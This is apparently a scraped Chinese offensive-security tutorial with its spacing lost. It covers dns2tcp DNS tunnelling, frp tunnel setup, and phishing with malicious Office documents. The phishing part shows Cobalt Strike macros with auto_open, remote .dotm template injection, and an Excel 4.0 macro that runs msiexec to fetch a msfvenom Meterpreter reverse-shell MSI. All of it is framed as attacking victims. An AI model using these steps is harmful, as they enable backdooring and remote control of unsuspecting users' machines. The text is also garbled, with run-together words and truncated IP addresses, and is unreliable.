强制在在台运行,默认在后台-iIPaddress监听ip,默认-f配置文件指定使用的配置文件路径-ddebuglevel指定调试级别,输出相关级别日志,默认为1,2,3dns2tcpc-c :启用压缩-zdomain> :指定所使用的域名-d1|2|3> :调试级别(1,2or3)-r<resource> :访问的目标资源-f<filename> :配置文件路径-lport|-> :本地监听端口-T<TXT|KEY> :DNSTXT配置文件下:listen=port=53user=nobodychroot=/tmpdomain=<>resources=ssh::22,socks::1082,http::3128vpsudp53ubuntu18.04x64设置域名信息a记录指向vpsipns记录指向vpsBdns2tcpsudoapt-getinstall修改配置文件sudovi/etc/dns2tcpd.conflisten=port=53#Ifyouchangethisvalue,alsochangetheUSERvariablein/etc/default/dns2tcpduser=rootkey=moonsecchroot=/tmpdomain=resources=ssh::22,smtp::25解释允许任何访问listen=设置用户user=root设置密码key=moonsec在b终端执行启动dns2tcpd-f/etc/dns2tcpd.conf-F-d3如果出现错误可能端口被判断idkill结束进程netstat-anp|grep53kill进程号阿里云默认的服务关闭systemctlstopsystemd-resolved在c下载客户端执行dns2tcpc-rssh-kmoonsec-z54-l8888-c-d3在c执行命令sshroot@-p8888也用xshell代替登录c8888B22ssh端口转发再用proxifier代理Dns隧道数据包不过访问数据很慢frpfrptcp,udphttp和https应用协议提供了额外的能力,且尝试性支持了点对点穿透。详细说明/fatedier/frp/blob/master/README_zh.md下载地址/fatedier/frp/releasesfrp的作用利用处于内网或防火墙后的机器,对外网环境提供http或httpshttp,https80和udp服务,例如在家里通过ssh访问处于公司内网环境内的主机。frp支持的平台darwinlinux386amd64armmipsmips64mips64lemipslewindows386amd64常用场景C80WEBC80B8000A8000C80WEBC2222ABCSSHC测试环境Bvps系统ubuntu18.04A与BFrp分为服务端和客户端frps服务端为linux 负责处理请求,转发流量Frpclinuxwindows再某云购买vps要修改规则frps配置服务器端在vps上下载软件配置服务端wget/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_amd64.tar.gz解压tarzxvffrp_0.33.0_linux_amd64.tar.gz重命名mvzxvffrp_0.33.0_linux_amd64frp进入目录cdfrp删除客户端文件rm-rffrpc*配置服务端文件frps.ini[common]bind_port=7000token=moonsec2020bind_port客户端连接的端口token密码一定设置复杂运行./frps-cfrps.ini运行正常即可设置开机启动vi/lib/systemd/system/frps.service[Unit]Description=frapsserviceAfter=network.targetsyslog.targetWants=network.target[Service]Type=simple#启动服务的命令(frpsExecStart=/root/frp/frps-c/root/frp/frps.ini[Install]WantedBy=multi-user.target#启动frpcsystemctlsystemctlstartfrps#设置为开机启动systemctlenable以上服务端配置完毕,frps7000psauxnetstatantlfrpc配置客户端下载对应系统版本的frpc配置客户端信息[common]server_addr=54server_port=7000token=moonsec2020[ssh]type=tcplocal_ip=local_port=22remote_port=6000[web]type=tcplocal_ip=local_port=80remote_port=8000说明server_addr=54#服务器的IPserver_port=7000#服务器的端口token=moonsec2020#连接的密码[web]#服务器名typetcp连接协议类型local_ip#ip可以是内网任何一个local_port80#本地端口remote_port=8000#远程服务器的ip启动frpc.exe-cfrpc.ini通信正常后用浏览器访问整个流程就是客户端与服务器端建立通信后,当A访问B的的8000端口后,B收到请求对流量进行转发,那么A就能访问到C。网络钓鱼篇APT攻击、勒索软件攻击等事件中,扮演了重要的角色。OfficeOfficeMacroOffice自带的一种高级脚本特性,通VBAOfficeNormal模板上。BasicforApplications(VBA)Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来WindowsMicrosoftOffice软件,也可说是一种应Basic脚本。测试环境系统windows10x64word版本2016cobaltstrike4.0cobalt生成宏Attacks->Packages->MSOfficeMacro选择好设置的监听器后复制宏代码创建宏创建docx文件选择自定义功能区把开发工具勾上点击开发工具创建宏填写名字宏的位置在当前文件名。auto_open自动打开保存文件提示选择否另存为dotm文件至此一个简单的宏文件完成。测试宏文件将文件发送给受害者,如果受害者打开。提示宏被禁用如果用户点击启动内容。Cobaltstrike就会获得受害人的beacon可以看到受害者已经中了后门,可以对用户进行其他方面的操作。DOCX钓鱼攻击时,您可以将.docx的文档直接附加到电子邮件中,并且您不太可能根据文件的拓展名去阻止它。文档加载附加word载模板执行恶意模板的宏。检测。或是.dotmVBA.docx文件,它本身不包含恶意代码,只有指向恶意模板文件的目标链接。创建dotm文件这个跟上面的创建方法差不多新建文件docx文件选择VIsualBasic双击ThisDocumen复制cobaltstrike恶意代码到模板里保存另存为dotm文件将dotm文件放到远程的服务器上创建远程模板加载文档打开word后选择好模板文件保存即可docxzip再解压接着修改word\_rels\settings.xml.rels里的Target改成dotm文件的访问网址压缩之后,将后辍zip改成docx执行测试当受害人执行docx文件是会从远程加载的宏文件docx且隐蔽。Excel4.0Excel一般指MicrosoftOfficeExcelMicrosoftExcel是Microsoft为使用WindowsAppleMacintosh操作系统的电脑编写的一款电子表格软件。直观的界面、出Excel成为最流行的个人officeExcelExcel文件里的宏就会被触发。测试环境windows10x64excel2016metasplosit生成msi文件msfvenom-pwindows/meterpreter/reverse_tcplhost=80lport=1234-fmsi-ohack.msi将生成好的hack.msi放到远程的服务器上监听器useexploit/multi/handlersetpayloadwindows/meterpreter/reverse_tcpsetlhost80setlport1234exploit-j打开excel底部右键插入宏表=EXEC("msiexec/q/i80/hack.msi")=HALT()Auto_Open文档被打开时,自动运行宏。设置隐藏保存否保存为保存为xlsm当把文件发送给受害者受害人右键打开文件时就会自动运行宏。允许宏执行宏会恶意请求远程服务器msi文件自动下载运行。CHMCHM(CompiledHelpManual)即“已编译的帮助文件”。它是微软新一代HTML作源文,把帮助内容以类似数据库的形式编译储CHM支持JavascriptVBscriptActiveXJavaAppletFlashJPEGPNG)(MIDURLInternetChm文件因何变得危险.Chm文件格式是HTML文件格式的扩展,它本来是一种用于给软件应用程序作用户手册的特殊文本格式。简单来说,HTML文件格式被压缩和重整以后,就被制成了这种二进制的.Chm扩展文件格式。通常,.Chm文件格式由压缩的HTML文件、图像、Javascript这些文件组合而成,同时,它可能还带有超链接目录、索引以及全文检索

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论